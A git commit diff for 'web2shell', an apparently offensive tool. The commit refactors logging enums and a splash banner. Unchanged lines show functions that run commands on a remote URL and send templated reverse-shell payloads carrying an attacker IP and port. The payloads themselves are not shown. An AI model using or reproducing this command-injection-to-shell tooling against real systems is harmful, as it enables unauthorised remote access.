Moved code to more relevant sections

Author: ejedev

data/types.py

@@ -0,0 +1,9 @@
+from enum import Enum
+
+
+class Status(Enum):
+    ALERT = "[!]"
+    ERROR = "[x]"
+    SUCCESS = "[-]"
+    VERBOSE = "[*]"
+    NONE = ""

modules/commands.py

@@ -2,7 +2,7 @@
 
 import requests
 
-from data import payloads
+from data import payloads, types
 from modules import logger
 
 
@@ -20,27 +20,27 @@ def find_bins(url: str, verbose: bool) -> list:
     bins = list(payloads.payloads.keys())
     for bin in bins:
         result = execute(url, f"whereis {bin}")
-        logger.log(result, logger.Types.VERBOSE, True, verbose)
+        logger.log(result, types.Status.VERBOSE, True, verbose)
         for path in result.split(" "):
             if "bin" in path and bin in path:
                 valid.append({bin: path})
-                logger.log(f"{bin} found at {path}", logger.Types.SUCCESS)
+                logger.log(f"{bin} found at {path}", types.Status.SUCCESS)
     return valid
 
 
 def reverse_connection(valid_bins: list, url: str, ip: str, port: int, verbose: bool):
     logger.log(f"Bins to test: {len(valid_bins)}")
     for bin in valid_bins:
-        logger.log(f"Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}", logger.Types.ALERT)
+        logger.log(f"Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}", types.Status.ALERT)
         for payload in payloads.payloads[list(bin.keys())[0]]:
             cmd = urllib.parse.quote(
                 payload.replace("PATHHERE", list(bin.values())[0]).replace("IPHERE", ip).replace("PORTHERE", str(port))
             )
             result = execute(url, cmd)
-            logger.log(result, logger.Types.VERBOSE, True, verbose)
+            logger.log(result, types.Status.VERBOSE, True, verbose)
 
 
 def verify(url: str, verbose: bool) -> bool:
     data = execute(url, "uname -a")
-    logger.log(data, logger.Types.VERBOSE, True, verbose)
+    logger.log(data, types.Status.VERBOSE, True, verbose)
     return "linux" in data.lower()

modules/connection.py

@@ -1,13 +1,14 @@
 import socket
 
+from data import types
 from modules import logger
 
 
 def get_ip(interfaces: dict, provided_inteface: str) -> str:
     logger.log("Available interfaces...")
     selected = None
     for interface in interfaces:
-        logger.log(interface, logger.Types.SUCCESS)
+        logger.log(interface, types.Status.SUCCESS)
         if provided_inteface == interface:
             selected = interface
     if selected is None:
@@ -24,9 +25,9 @@ def get_port(ip: str) -> int:
         try:
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.bind((ip, port))
-            logger.log(f"{port} available!", logger.Types.SUCCESS)
+            logger.log(f"{port} available!", types.Status.SUCCESS)
             s.close()
             return port
         except:
-            logger.log(f"{port} already in use or unavailable.", logger.Types.ERROR)
+            logger.log(f"{port} already in use or unavailable.", types.Status.ERROR)
     return -1

modules/flags.py

@@ -1,20 +1,3 @@
-def splash():
-    print(
-        """
-               o                  o           o  o
-               O     .oOOo.       O           O  O
-               O          O       o           o  o
-               o          o       O           O  O
-'o     O .oOo. OoOo.     O' .oOo  OoOo. .oOo. o  o
- O  o  o OooO' O   o    O   `Ooo. o   o OooO' O  O
- o  O  O O     o   O  .O        O o   O O     o  o
- `Oo'oO' `OoO' `OoO' oOoOoO `OoO' O   o `OoO' Oo Oo
----------------------------------------------------
-                      @ejedev
-        """
-    )
-
-
 def setup(parser):
     parser.add_argument(
         "url",

modules/logger.py

@@ -1,18 +1,27 @@
-from enum import Enum
+from data import types
 
 
-class Types(Enum):
-    ALERT = "[!]"
-    ERROR = "[x]"
-    SUCCESS = "[-]"
-    VERBOSE = "[*]"
-    NONE = ""
+def splash():
+    print(
+        """
+               o                  o           o  o
+               O     .oOOo.       O           O  O
+               O          O       o           o  o
+               o          o       O           O  O
+'o     O .oOo. OoOo.     O' .oOo  OoOo. .oOo. o  o
+ O  o  o OooO' O   o    O   `Ooo. o   o OooO' O  O
+ o  O  O O     o   O  .O        O o   O O     o  o
+ `Oo'oO' `OoO' `OoO' oOoOoO `OoO' O   o `OoO' Oo Oo
+---------------------------------------------------
+                      @ejedev
+        """
+    )
 
 
-def log(message: str, type: Types = Types.NONE, verbose: bool = False, verbosity: bool = False):
+def log(message: str, type: types.Status = types.Status.NONE, verbose: bool = False, verbosity: bool = False):
     if verbose and not verbosity:
         pass
-    elif type == Types.NONE:
+    elif type == types.Status.NONE:
         print(message)
     else:
         print(f"{type.value} {message}")

web2shell.py

@@ -11,7 +11,7 @@
 )
 parser = flags.setup(parser)
 results = parser.parse_args()
-flags.splash()
+logger.splash()
 if not results.force:
     logger.log("Verifying commands can be executed...")
     if not commands.verify(results.url, results.verbose):